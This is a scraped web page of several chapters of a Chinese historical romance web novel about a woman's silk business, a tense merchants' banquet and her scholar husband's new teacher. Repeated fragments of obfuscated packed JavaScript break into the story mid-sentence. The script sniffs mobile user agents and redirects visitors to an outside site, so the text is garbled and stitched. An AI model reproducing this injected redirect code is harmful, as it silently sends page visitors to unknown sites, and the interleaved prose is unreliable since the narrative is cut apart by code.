0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389913|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细辨认后，费解道:“似乎不是元府里的。” 不远处争执声渐起，两人不约而同地放低了呼吸，伸长耳朵去偷听。 “你们怎能如此狠心，就将我一个弱女子扔在偏僻小院里不闻不问的。” “一说纳妾，就嫌我身份低贱上不得台面，可你们兄弟俩一起胁着我在榻间行乐时，怎说不我低贱了？” “且先不说三公子是成了家的，纳妾还得考虑正头夫人的感受，可六郎你呢，你一个尚未成家的儿郎，凭甚就纳不得一个妾了？我这朝可先说明了，你二人若不给一个交代出来，往后可不能再上我的榻了。” 那蜜雪衫裘的女子弱柳之姿，可说出来的每一句话都能震碎一个正常人的三观。 此刻应该保持沉默。 余晚桃和祝忧对视一眼，皆是尴尬地扭开视线，回到酒楼门口，正正经经地站直了，目不斜视地观赏着檐下细雨如丝如珠的天景。 不多时祝家的马车过来了，祝忧对着余晚桃拱拱手，说:“余东家，告辞。” “告辞。” 祝忧先行一步。 等人走远，余晚桃马不停蹄地跑回去，却见原本站着三人的地方已经空了，她犹豫片刻，抬步朝着巷子深处去。 这巷子道不算窄小，附近住着不少的人家，看着不像是偏僻之地，反倒是府城里寻常门户的住宅，一路上偶尔还能看见端着洗衣盆出来，蹲在院口洗衣服的妇人。 余晚桃在檐下窜着走，虽然特意躲着雨了，不过发丝肩头还是不可避免地湿了些，好在终于叫她发现了端倪。 先前和元家两兄弟纠缠的那女子，此时正抱着件纹制披风在一间四方小院口守着，元家两兄弟不知所踪，许是就在院子里头，又或是已经离开了。 余晚桃沉着目光朝那处看了半响，才转身离开。 回到酒楼口时，余小娃已经等候多时。 “东家，待会咱绕到府学那边去接一下大爷，他今儿旬休的。” “嗯，走吧。” 马车离开酒楼，一路往府学去。 · 傍晚时，绵绵细雨已变成了瓢泼大雨，冬日里天气昏沉沉的，这朝还倾着暴雨，庄子里头绣娘们被困在工坊里不得回家，纷纷站在屋檐下咒骂这遭鬼的天气。 余晚桃吩咐厨房煮了一锅暖身的红糖姜汤抬去工坊，自个支着脑袋趴在窗台边，听着外头雨打芭蕉噼里啪啦的声响，一脸的心事重重。 “怎么了？”崔玉棠走过去，抬手掩上了窗，很快顺其自然地碰了碰余晚桃吹了凉风的脸颊，他轻皱眉头:“自打回家来便瞧着你心事重重的。” 余晚桃无意隐瞒书生，便将自己碰见元府两兄弟私养/脔/妾的事说了，她揉揉被冻得通红的鼻子，闷声道:“那元修己不是被抓大牢里去了嘛，怎么还能出来作妖。” “有元府这样的底蕴在，他要脱身自然容易。”，崔玉棠往桌案上的茶炉底座扔了几粒白炭进去，待茶热好了，便给余晚桃倒了一盏，让她喝着暖身。 “这样的腌臜事，私底下恐怕不少。”，余晚桃捧着茶盏暖手，顾不上吃茶，义愤填膺道:“这事可不能瞒着云姐儿。” 兄弟共妾，这确实够叫人恶心的。 崔玉棠淡淡道:“你怎就笃定，云姐儿不知这些事？” 78. 第 78 章 到底是些上不得台面的事情，就算云姐儿真是知晓的，从她处境来细想，也不会捅破这层窗户纸，只会糊涂着过。 …… 下了一场雨，夜里冷幽幽的。 余晚桃早早便躺下了，落了幔帘，帐间里漆黑一片，睡得迷迷糊糊时，身旁陡然钻进一股冷风，激得意识清醒了几分。 她翻身对着躺下来的书生，嘟哝:“冷梆梆的，看书也不知道叫人端盆炭火过来烤着。” “好，明儿叫人多囤些炭。”，崔玉棠待手脚都在被窝里捂暖了，才挪过去抱着人，心满意足地吁叹一声，冬夜里抱着自家娘子互相取暖，何其舒坦。 他轻声道:“我想办府学走读，不住学舍了。” “天愈发冷了，办走读每日都得早早起来奔波，何必受这苦。” “这苦受着，我心中乐意。”，崔玉棠扯高被子盖过头顶，低下去在自家娘子的颈侧落下一吻。 余晚桃浑身瑟缩了一下，感受着颈侧传来犬齿慢慢磨弄的热意，她一手按在胸前的脑袋上，推开他，嫌弃道:“快睡觉！这一动冷气就钻进来了。” 崔玉棠从被窝里露出张艳若桃李的君子面庞，透过缝隙露进来的月光皎洁，衬得他此时的眼神更加温柔:“我抱着你，便不冷了。” 他肩膀张开，将人拢入怀中，手脚相缠，搂得密不透风的。 不知从何时开始，余晚桃已经习惯了夜里枕侧有崔玉棠的存在，她埋头在书生的颈窝里，破罐子破摔般的想，反正他们成亲了，若无意外，往后一生都是要这样过的。 亲近些，也没甚不好的。 冬日最能催生懒劲，余晚桃睡得舒舒服服的，翌日身侧空冷许久，她才悠悠抬眼，穿衣起床，出了屋子，便见书生在院里边练弓箭，边背书。 君子六艺，骑射也在其中，可惜家里院子不够宽敞，容不下跑马的场。 她抻抻懒腰，抬步往偏堂去。 偏堂里，桌上放着一炉子，炭火燃得很旺，贞娘的婆婆端着砂锅进来，笑着说:“正好熬了些滋补的粥，快来用早食。” 庄子里的人都知道她们这位东家好睡懒觉，起灶子的时辰都自觉跟着往后延，这会粥熬得火候刚好，再贴些小菜，简单又适口。 “多谢婆婆。”，余晚桃净了手，在桌边坐下，叮嘱道，“现下天愈发冷，炭火省不得，记得多订购一批炭，银钱从庄子账上出，工坊里得备些炭盆还有汤婆子。” 贞娘婆婆感慨道:“东家心善，我们定会更加勤谨做事的。” “婆婆坐下与我一起吃些粥吧，正好有些问题想请教您。”，余晚桃素来没甚架子，她笑眯眯地拍拍身旁位置，说:“听贞娘说您从前是宫里当差的，可否与我讲讲，宫里头的主子都流行穿甚么样式的缎子？” 贞娘婆婆原还顾及着身份，听得此言便不自觉坐了下来，腰背都挺直了几分:“我十二岁进宫当宫婢，年近三十才被遣出来，都好久了，那些主子们许是也换了一批，从前流行的缎子，现下的主子不一定爱穿。” “无妨，我就是想听听罢了。” “那我便与东家讲讲。” 贞娘婆婆讲起从前在宫里的事情便滔滔不绝的，似十分怀念，能像她这般安安稳稳被遣出去的宫女其实是非常幸运的，都是无疾而终者居多。 宫里的主子都难伺候，稍有点差错就会掉脑袋，死后也就一卷草席被抬出宫去随意埋了，连块棺材板都没有。 余晚桃听得认真，不知不觉时辰便过了。 听了贞娘婆婆的话，余晚桃便暗自琢磨起来，京城在北地，南边的丝绸运过去，运输成本非常高，也就导致了北地的丝绸价格极其昂贵，而纯蚕丝织的更是比之黄金不为过。 她现在占据了蚕丝原产地的优势，原材成本反而是最低的，要在众多竞争中脱颖而出，布匹款式和染色非常重要。 贵人喜奢华，但不能浮夸粗俗，着色需要奢华大气，又不失庄重，正调全的色不合适，倒是可以调些深色度的，比如墨绿、幽蓝等。 材质可以是雪纺和丝绒的。 不过现下入冬，北地寒冷，丝绒材质的布匹要比雪纺的更合适。 余晚桃花了几天时间调配色比，又亲自拿了庄子里的布匹染色，反复调整，固色，最终确定了六种混色。 六种混色分别用于六匹新做出来的丝绒缎，各做了一匹样布出来。 期间她还掐了两樽绒花瑞兽摆件，随着六匹样布一起托人送去锦庄，底下附了一封信。 … 官府将进贡的绸缎单子给了锦庄的消息，上午刚放出来，就在商会内部传开了，祝忧从官府里意气风发地走出去，很快被商会的同行拉去了吃酒，打探消息。 祝忧也不隐瞒，大方道:“这次侥幸得文大人赏识，还多亏了和华纱庄的合作。” “华纱庄？听着怪耳熟的，但应该不是咱府城里的布庄啊。”，一布行老板摸着大肚腩，满脸纳闷。 有人回他道:“是不是前些日子刚开张的那个小铺面？” “啊！有印象了！”，布行老板一拍脑门，恍然大悟道:“就是那小铺面啊，我记得她们家刚开张的时候布匹确实卖得好，不过后来没货了，铺子里主要是一些首饰摆件之类的小玩意。” 祝忧笑了下，缓缓说:“我在容县的时候，就和华纱庄的余东家合作过，她在丝绸款式和染色方面钻营颇深，且极其擅长经商之道。家里还办着养蚕大棚，大批量优质的蚕丝自产自销，绒花品更是深得后宅女眷们的喜爱，咱府城里的这间，是人家的分铺了。” “真有这么厉害？”，有人挑着眉毛追问:“祝东家改日引荐引荐？没准还能合作一二呢。” “过几日不是要办群商宴？到时给余东家一张帖子就是。”，祝忧眯着眼睛，笑得跟只狐狸似的，“我可提前说好啊，眼下我们锦庄跟华纱庄正合作着，各位若要打探消息或是做些什么，可要掂量着来，莫伤了和气。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429275|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护成这样，我就不信那华纱庄的余东家真有那本事？” “好像还是个小娘子吧？” “远远见过几面，是俩姐妹在铺子里打理的，有没有本事不知道，相貌倒是灵秀。听说有位叫窈儿的小娘子生得貌美动人，走起路来纤腰摆动，那身段丰盈勾人得很。” 席上都是各布庄的老板，家里正妻不缺，小妾通房扎满后院，话题谈着谈着就变了，喝着酒，劲头起来，招呼了不少姑娘进来陪着。 祝忧无意作乐，目的达到，便巧借醉酒先一步离开了。 回到锦庄，起草契书，带去华纱庄签订后按上手印，两方合作一事算尘埃落定。 余晚桃拿到订金，留了祝忧在庄子里用饭。 时值傍晚，窈儿关了铺子回家，正碰上偏堂在用晚膳，行过回廊沾染了满身寒意，她瑟缩着肩膀疾步而入，抱怨的声音先一步落在堂里。 “这个月份便似要下雪了，府城入冬也太早了些。” 余晚桃轻唤她:“快过来喝碗热汤暖暖身子。” 窈儿抿着唇抬头，瞧见桌上坦然坐着一位公子，她皱眉走近，才发觉有些面熟，待对方展现出与游子涧同样的浪荡笑容，才恍然反应过来。 她低头落座，悄悄往余晚桃处看了一眼。 余晚桃便解释道:“跟锦庄谈了一笔合作，就是之前的绸缎单子，正巧今儿过来签契书呢。” 祝忧神色莫名，温和道:“窈儿姑娘，许久未见了。” 窈儿敷衍地扯扯嘴角，心里有些别扭，更抬不起头来。 从前她给游子涧弹曲赚钱时，这祝忧偶尔也会在，那会只是借着游子涧的关系打过几次照面，却不怎么说过话。 或许在祝忧看来，她只是游子涧拿来消遣的玩意。 如今，却同桌而坐了。 祝忧眸微眯起，径自道:“听余东家说，窈儿姑娘如今已然是铺子里的管事，处事周到且有条不紊，将铺子打理得极好，实在令祝某深感佩服。” 窈儿闻言怔了一下。 余晚桃骄傲道:“我们窈儿自然是极好的。” 祝忧十分认同。 只可惜世人目光里，只见皮相，不语其质。 “过几日群商宴，曲兄会出现，他是商会会长，若想要加入商会，得曲兄点头。”，祝忧说到群商宴，眉宇间多了一丝沧桑:“曲兄是个怪人，难应付得很。” 余晚桃想到自己这几日打探到的消息，眉头微蹙。 曲屠，江南府商会会长，据传是隐士大儒曲山南的孙子，为人神秘，不怎么现于人前，只听说脾气很怪，手上的产业遍布各府，是名副其实的豪绅。 “曲兄似乎跟你们家的书生有些微妙的渊源。” 祝忧斟酌着，低声道:“当初崔海主掌江防水利，朝廷拨了一批官银下来，新建码头和中转闸口的木材就是在曲兄名下的木材庄订购的，也是这家木材庄因为账目对不上，才最先捅出了崔海侵吞官银的消息。” 79. 第 79 章 当时崔家的案子办得沸沸扬扬的，可带出这桩贪墨案的曲屠，却隐于人前，直到此时，余晚桃才得知其中关联。 崔家的事就像一把悬挂在头顶的刀，她却全然不知背后握着那根绳子的人是谁，那把刀，随时都有可能掉下来。 “群商宴上，还要劳烦祝东家帮忙引见一下那位曲会长了。” “好说，举手之劳。” 用了药膳，余晚桃让人将祝忧送出庄子，片刻后窈儿抱着一箱账本进来，撕了上面的封条，凝重道：“容县那边的账本随运货的商队送过来了。” 满满一箱的账本，翻开看全是密密麻麻的账目，窈儿捏着眉头，还没开始对账，脑袋已经懵了。 这些账本里有铺子的，养蚕大棚的，还有白沙镇那边近海养殖珍珠的营收明细，最近也开始记账，偏偏记账的不够专业，记得乱七八糟，好些数目都对不上。 余晚桃发出一声幸福的叹息：“账本多，说明我们赚得也多。” 不过还是得有一个专门管账的人。 她看着窈儿，说：“我们对外再找两位精通账目的管事，一位管支出，一位管收入，避免乱账。” “好，我这几天去打听一下，管账的人选得慎重。”，窈儿应了声，指着箱里的账本说：“这些账我先对一遍，重编账目之后再给你核算吧。” “都行，若忙不过来就先放着，等二郎回来，给他对。”，余晚桃说着忽然想起一事，“群商宴可要与我一道去？” 窈儿摇头：“我铺子里忙着呢，且是那样的场面，我如何应付得来。” “行吧，那我自己去。” 余晚桃心想，窈儿不去倒也好，那样的场面，其实也能预想得到，估计不会太和顺，都是府城里各大铺面的老板，笑面虎的本事炉火纯青，稍不注意就会踩坑。 群商宴当天，余晚桃是和祝忧同去的，二人一进来，便引来无数意味深长的目光，数道视线停留在余晚桃身上，似打量，似斟酌。 祝忧缓缓勾唇：“余东家，给你介绍一些同行？” 余晚桃自然乐意。 她坦然回视着落在自己身上的目光，落落大方，乌眸明亮，身上带着一股不同于闺阁女子的潇洒和英气，看着劲劲的，有些不好惹。 不少人将目光收了回去。 暗自嘀咕，果然能靠自己把生意做成的，都不会是什么任人拿捏的柔弱女子。 “想必这位就是得祝少东家大肆赞赏的余东家了？果然是巾帼不让须眉。” “刘老板谬赞。”，余晚桃笑容清浅，应得滴水不漏。 这群商宴里大多数都是男子，但也有一些夫人，多是出嫁时娘家随过来继承的铺面，庄子，平时有专门的掌柜打理着。 这朝过来露脸，受不少人恭维。 余晚桃嘴角的弧度渐渐扩大，笑容明媚，拎着层叠摇曳的襦裙摆走过去搭话。 她也算不得籍籍无名，毕竟原先在元府主母徐元氏去弘恩寺祈福时，便露过脸，府城里不少官员家眷都知道她得元府主母青眼，愿意卖她一二分面子，与她交谈。 余晚桃嘴甜得紧，应付起这些贵夫人们得心应手的，很快便被拉拢到她们的小群体里，交头接耳地开始讨伐谁家铺子掌柜不做人事，谁家又娶了几个小妾的诸如此类。 她跟着点头，一边套消息，一边吃瓜。 看她在席宴上混得如鱼得水，祝忧心里啧啧称奇，目光是真够毒辣的，一来就分析出了，这群商宴里谁是最应该结交的。 商户虽家大业大，但哪里比得上那些官员家眷。 这时宴席间静了静，众人不约而同地往拱门回廊的方向望过去，几道沉稳，有力，的脚步声渐渐走近。 一夫人凑近她，小声说：“应该是曲会长来了。” 余晚桃眸子微闪，垂睫掩去眼底的深思，连这些官员家眷似乎都很忌惮那位曲屠，一个商会会长，真的有这么大的权利吗？ 思索间，对方已到人前，俨然是一副温文尔雅的君子面貌，墨色大氅内是一身全黑的软绸袍，腰封镶玉，缀着一串玉佩，走动间还发出清脆的声响来。 一串？玉佩？ 余晚桃睁大眼，震惊地盯着对方腰间那五花八门的玉佩。 “嗯？都看我作甚，坐着继续聊，继续吃。”，略微疑惑的声音发出，随即而来的是有节奏的敲打声。 曲屠眼也不抬，兀自坐在主位，掏出自己打磨得光滑的玉石，旁若无人般敲打起来。 祝忧上前去：“曲兄，今儿人都在呢，你不打算说说规矩？咱江南府这边蚕丝的采购价可是被一涨再涨，要这样下去，咱这些布庄就都不用做生意了。” “祝忧你这话就不太厚道了，我们蚕丝从底下各县各村收上来也是要成本的，入了冬运输更是艰难，不涨些价，哪里养得起手底下那帮人。” “林老板莫不是忘了咱商会的规矩？”，一布庄的老板闻言便怒不可遏地站出来。 林老板经营的府城里最大的蚕丝供应庄，他的货源广，府城里几乎半数的布庄，都是从他那采购蚕丝的。 只是今年却仗着自己独占了蚕丝的市场，价格一涨再涨，丝毫不顾其他布庄的死活。 林老板有恃无恐道：“规矩是死的，人是活的。我涨价是我的事，诸位若买不起我们家的蚕丝，就请换一家吧，我也不会强迫着你们，来采买我们家的蚕丝。” “若人人都像你这般，那这商会的存在还有甚么意义？林老板这样无法无天，肆意涨价，迟早会逼走被压榨的商户，曲会长，你真就不管这些事了吗？” “我何时说不管了？”，曲屠慢悠悠地抬眸，撑着侧脸神情慵懒和善：“林老板说的也不无道理，入冬了天气寒冷，涨价也是理所应当。” 林老板闻言挺直了腰，朝呛声的那布庄老板投过去一个得意的，嘲讽的眼神。 布庄老板险些气得呕血。 “不过——”，曲屠语调一转，道：“利涨低税，不成样子。” “为了安抚其他商户，林老板的商税，也该调一调。” “涨多少利，就上调多少商税。” 曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447433|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屠一字一顿，说得极为认真。 林老板面色霎时难看至极，他粗声道：“我们商户缴纳多少商税都是朝廷定的，哪能随意上调。” 曲屠轻笑，手上敲玉石的小锥却不经意的飞向了林老板的脑袋边，险险擦过，钉入了他身后的圆木柱里。 林老板瞬间绷紧了浑身皮肉，冷汗从额头滑下来，嘴唇煞白，腿一软就跪了下来，刚逃脱死亡的恐惧，那头罪魁祸首的声音慢条斯理响起。 “林老板若不满商会的规矩，便去找文大人告发吧。” 林老板几乎是本能地摇头，抖着声道：“曲会长您说笑了，商会的规矩我是知道的，这商税我愿意缴纳。” 曲屠眯起眼睛笑，朝祝忧摊摊手，“事情解决了，还有别的吗？” 祝忧无言以对。 偏偏曲屠支着脑袋，饶有兴趣地开口：“听说祝兄和华纱庄的余东家合作，拿下了官府的那批绸缎订单，还送了些新鲜玩意，颇合文大人心意。” 他看向余晚桃，笑吟吟的，意有所指。 余晚桃上前去，拱手道：“曲会长，久仰大名。” “真是个娇俏的小娘子。”，曲屠从腰间随意抽了一枚玉佩下来，连着流苏带抛出去。 余晚桃险险接住。 “听说你家里相公是个秀才郎，曲某虽无才，却最爱和书生打交道了，等日后得空，可要邀你家相公出来吃杯酒才是。” 余晚桃摩挲着玉佩上的曲字雕纹，挑眉不解，“这玉佩是何意？” “商会凭证。”，曲屠睨了她身旁的祝忧一眼，“怎么？你来群商宴不就是为了加入商会吗？” 余晚桃握住玉佩，随后双手奉回：“曲会长说笑了，我并无加入商会的打算，此番前来也只是想多认识一些同行，日后也方便合作。” 来群商宴前余晚桃确实是想加入商会的，可经过刚才一事，她却打消了念头。 曲屠打量着她，半响后扬臂将那枚玉佩勾了回来，绕在指尖来回抛着玩，“既没这打算，便罢了。” 他起身，背手在后，踱步至林老板面前，抬脚便将人踹出去，嗓音沉了几分，显出些深藏在性子里的狠戾。 他的声音落在寂静的堂内，“江南府地，但凡加入了商会的，就都得守商会的规矩，哪有既受着商会的庇护，又舔着脸给自己谋事的道理。” 曲屠撂了话，便晃悠着走了。 余晚桃心有余悸，整个人都怔住了，浑身不由自主颤栗着，一些久远的记忆涌上心头。 太熟悉了。 曲屠方才撂下话的刻意压低的嗓音，竟带给她一种无比熟悉的感觉。 这并非错觉。 “余东家。”，祝忧担忧地唤了她一声。 余晚桃陡然回神，脸色也恢复正常，她扯了袖里的手绢擦拭着手心里方才握着玉佩的地方，说：“曲会长的行事作风，倒真是符合他的名字。” 祝忧道：“他惯是这样，才能压得住商会里那些牛鬼蛇神。” 余晚桃轻嗯了一声，垂眸遮住眼底的情绪。 80. 第 80 章 群商宴上闹了一遭，有林老板这个出头鸟顶了祸，再没人敢造次，后头的席宴一派和谐，余晚桃倒也真寻到了几家合适的首饰铺子合作。 都是些主做南北两地批量倒卖金银玉器的生意，瞧中了她们铺子里绒花簪子的款式新奇，想要进一批货运到北地去卖。 也有几个官员家眷过来朝她打听怎么管理铺子的。 余晚桃都好脾气地应付着。 这一场群商宴下来，她给府城商户们的印象便是八面玲珑。 - 群商宴后，余晚桃收到了不少帖子，大抵都是一些布庄，或者首饰铺子，许是也打听出了她的身份，纷纷上门送礼，示好。 余晚桃通通拒了。 她心里仍旧惦记着云姐儿的事，此刻更不想借着元府的势给自己谋利。 在元老夫人寿宴上不欢而散后，府城一别，再到她如今重回府城数日，云姐儿都不曾出现过。 许是上次，她便将话说明了。 往后立场不同，这朋友自是做不成了。 也罢，人各有缘数。 余晚桃最终还是放下了写信的笔毫，将纸张揉皱，扔进了一旁的竹篓子里。 一日，雪至。 府学将学子们下课的时间提早了半个时辰。 每一日了，府学大门外便挤满了马车，雪薄薄铺了一层，寒风呼啸着，小厮们都缩着脖子，将手藏在袖里，脸颊被吹得通红，跺着脚等自家公子出来。 余小娃也不例外。 他等书院里人都散得差不多了，才接到自家大爷，可左瞧又瞧，除了余小器这个随行的书童，怎么还多了一个老头。 余小娃跑到马车一侧，将挂在车壁外面的脚踏放了下来，刚拿布包擦去上面的积雪，想让主人上马车，那老头就抢了先，自然得像上自家马车一般。 他鼓起被冻得通红的脸蛋，气闷道：“大爷，他是谁啊？怎吆还跟着我们回家不成？” “那是曲儒士，公子的老师。”，余小器抢在崔玉棠前头应话。 等崔玉棠入了车厢，他抱着书箱，板着小脸坐在车辕边，嘀嘀咕咕地抱怨着，嘴巴撅得比牛蹄子还高。 “这个不懂礼数的书童，早该换了。”，车厢里响起一道铿锵有力的声音。 余小器掀开车帘，冲里面满头银发，精神矍铄，仙风道骨般的老头嚷声：“我家公子才不会换了我呢，坏老头！” 崔玉棠拧眉：“小器，不得无礼。” 余小器气死了，又不能和主子顶嘴，只好背过身去继续和身旁的小伙伴嘀咕。 余小娃一边赶马车，一边认真地听着。 车厢里，曲山南老大不乐意地哼了一声，“都是你平日里纵的，这般没个规矩。” 崔玉棠置若罔闻，随手解了大氅，端正坐着，在摇摇晃晃的马车里，拿着一本书在看。 曲山南抚着稀疏的几根白胡子，眼睛盯着自己新收的学生，烁烁道：“近年乡试多考民生题，民生多艰，课本上的寥寥数语并不足与道出，你随意看看便好，终归是要靠自己感悟，文章要脚踏实地，莫浮于表面，华而不实。” 崔玉棠深有同感，回想起初到大桑村时，就一间破败的屋舍，自己与娘子挤在灶头，分着吃干巴巴的饼子，那还是靠丁婶接济的。 他吃过贫穷农户的苦，自然也哀民生之多艰。 “老师，科举考试，文章写得漂亮，能让百姓们安居乐业，吃饱穿暖吗？” “自然不能。” 曲山南声音沉重：“无数学子满怀抱负奔赴科举之途，为跨越阶层者比比皆是，一心为民者如东珠难觅。” 崔玉棠捏着书卷，语气里带着困惑：“为官当如梅老，可为梅老者多不得所终，我读书以其为楷模，却不想步其之路。” “我读书科举的初心，是为家人，不为百姓，我并非老师所言的‘东珠。’老师为何选择我？” 曲山南道：“百姓为家，家亦为百姓。你一心科举前程，为家人谋权谋地位的同时，也在托举着无数因你而改变生活的百姓。” “远的不说，且说你是自容县大桑村考出来的秀才郎君，是否连带了大桑村的村民们受人尊敬，免赋税的名额是否惠及村民？一个出过秀才的村子，男女婚嫁是否更受人看重？” 崔玉棠恍然明悟。 他拱手作揖，真诚道：“是学生一叶障目了，多谢老师解惑。” 曲山南挥手：“你既有此感言，回去便写一篇文章，明日交过来。” “是。” 马车缓缓前行，驶过府城最为繁华的东大街，曲山南敲敲车壁，说，“就在这停吧。” 马车停了下来。 崔玉棠握着木伞挡住簌簌的雪花，一路前行，将曲山南送至曲府，转身回去时却与一男子擦肩而过。 须臾身后传来一道声音。 那是曲山南训斥人的怒声，半响崔玉棠听闻那男子哀求似的唤了他老师一声爷爷。 他回头，不期然撞上一双带着探究的眼睛。 崔玉棠淡然错开视线，上了马车。 回到家时，一踏入屋子，暖意融融，将满身的风霜雨雪挡在外面，崔玉棠将大氅挂好，移步去偏堂。 偏堂里已经烧起了锅子，热气蒸腾咕噜咕噜冒着泡，里头炖得软呼的羊肉翻滚着，桌边还围叠着许多盏配菜。 “快过来吃晚膳。”，余晚桃笑盈盈地给他舀了一碗羊肉汤，说：“早上刚买的羊肉，炖了一下午呢，这会汤是最浓鲜的。” 崔玉棠喝一口羊肉汤，从喉咙顺着暖到了肺腑，他轻笑道：“想必羊肉卖得正，倒是没有那股子腥臊味。” “都是农户里自家的，喂养得好。”，窈儿捏着鼻子说：“我去了一遭牲畜行，见好些屠户都是直接拖的死物出来宰杀，这时节里忒不新鲜。” 余晚桃给锅子里添了一些正切好的芋片，闻言便道：“下雪了去乡下收牲畜也麻烦，那些屠户肯定是为了省时间一趟收的，杀了拿雪埋着，左右天气也不会坏。” “我看庄子里还有不少空地，明年不如自家里养些鸡鸭，省得吃那不新鲜的，遭坏自个肚子。” 窈儿说着话，将偏堂遮挡风雪的竹帘子放了下来，屋内炭火盆加满。 外头风雪簌簌，屋内一家人围着桌坐下吃锅子，再没有比这更安逸的生活了。 用完晚膳，外面天色已暗。 余晚桃提了灯笼，照着漆黑的回廊，崔玉棠给她把热水提到屋里，在屏风后面支了浴桶，边上烧着一盆正旺的炭火。 “房里烧着地暖，这炭火端去书房吧。”，余晚桃摸摸书生因为用力而鼓起的手臂肌肉，隔着不算厚的一层袍袖，能清晰地感受到肌肉里青筋的跳动。 她捏了一下，又捏了一下。 崔玉棠挑眉看她。 余晚桃一脸认真道：“都说猫冬容易长肉，我怎么瞧着你精瘦了些，莫不是读书太辛苦了？” 崔玉棠闻言失笑，他无奈道：“天再冷书院里也有骑射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456653|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课，每日都得练的。” 余晚桃感慨，读书的苦她果然吃不来，还是做生意好。 “快进去洗吧，等会水凉了。”，崔玉棠催促她。 余晚桃拿着里衣绕到屏风那头去，灯笼搁在触手可及的木案上，她入了浴桶，听到屏风另一面传来书卷翻动的声音，抬头去看，才见书生竟搬了椅子来守在外面。 余晚桃心里触动，她趴在浴桶边，望着屏风上书生认真看书的倒影，声音被热水泡得懒洋洋的，“听小器说你在书院里拜了一位老师？” “下次带你去拜见他老人家。”崔玉棠拿指节叩了叩屏风，提醒她：“快些洗，水快凉了就喊我，我给你换热水。” 余晚桃哦了一声，乖乖洗澡。 至于换热水一事，自然是没有的，天色这般晚了，厨房那边灶娘们早该睡下，哪里还好再将人扰起来，给自己烧热水。 夜里抵足而眠，亲密无间。 翌日推门而出，外面白茫茫一片，院里下人们在铲雪，余小娃和余小器俩小汉子，帮着厨娘们把推车里的雪转到别院去堆着，给住人的几个正院和工坊清出路来。 又是一年冬了。 赶在大雪前，从容县来的商队将货物送到，窈儿去结账时，发现还余了一马车出来，一问才知，那是大桑村的村民们送来的东西。 车厢里被塞得满满的，腊肉腊鸭腊鱼、圆白菜、南瓜，地薯，还有一些叫不出名字的菜干，最边上还卷着两床纯蚕丝织的被褥，看那结线的样式便知道是小细柳缝制的。 窈儿眼眶红了红，只觉酸胀得厉害，她多给了商队一份赏钱，让他们帮着把东西卸到库房去。 这一车东西，虽值不得什么钱，可却是跋山涉水，从大桑村里送来的，真挚的，沉甸甸的，村民们的情意。 “自个一年到头都不舍得花几个钱买新衣裳，却费这些功夫……”，窈儿哽咽了下，便说不下去了。 她将吃的用的都分了存放好，那两床被褥，自个留了一床，一床抱去了余晚桃房里。 余晚桃房里本就盖着一张厚被褥，这朝又添了一张，她打趣道：“这下两床褥子，都不用挤一个被窝了。” 窈儿不知想到什么，脸红了红，说：“不如把另一床拿出去晒晒吧，正好去去潮气。” “我这被子不潮。” 窈儿执意扯过那床被子：“我摸着是有些潮了的，还是拿出去晒晒吧。” 她自然不敢明说，若是因着自己多拿了一床被褥进来，害得夫妻俩将分被窝睡了，那多不好意思。 余晚桃哪里能理解她脑子里的弯弯绕绕，由着她扯走了那床被子，不过却连带出了一件团在被窝里的，皱巴巴的白色亵裤。 ？？ 余晚桃眼睁睁看着那条崔玉棠的亵裤掉到窈儿脚边。 窈儿顺着她的视线低头，浑身僵住，她僵硬地扯了扯嘴角。 “这……” “二郎怎么回事，衣服乱扔。”，余晚桃淡定地抱怨了一句，快速跑下床捡了起来，就近塞箱子里去。 窈儿尴尬地笑笑，抱着被子出去了。 余晚桃全然不知，她这就近一塞，可苦了崔玉棠。 崔玉棠早起背着书箱去上课，同窗们都从书箱里拿出笔墨，文章，他却从里掏出了一条亵裤。 丝绸的，短款的。 还被课室夫子看个正着。 亵裤被夫子收缴并收获了五千字检讨后，崔玉棠稳重，端正的形象在书院里荡然无存。 81. 第 81 章 - 刘云的贴身丫鬟宝盻找来时，余晚桃正在铺子里拨算盘，她见到宝盻，还楞了一下。 宝盻两眼红通通的，见了人，便嗫嚅道：“余娘子，我家少奶奶这几日生了场病，如今正卧床不起不肯吃喝，大夫人知道你们关系好，便想央着您过府去探望一下，也好劝一劝少奶奶。” 只是生病，为何会不肯吃喝？ 余晚桃直觉宝盻话里隐瞒了些关键的事，只是大庭广众之下，料想宝盻也不会开口，她搁下算盘，取了件宝蓝色的大氅披上。 “走吧。” 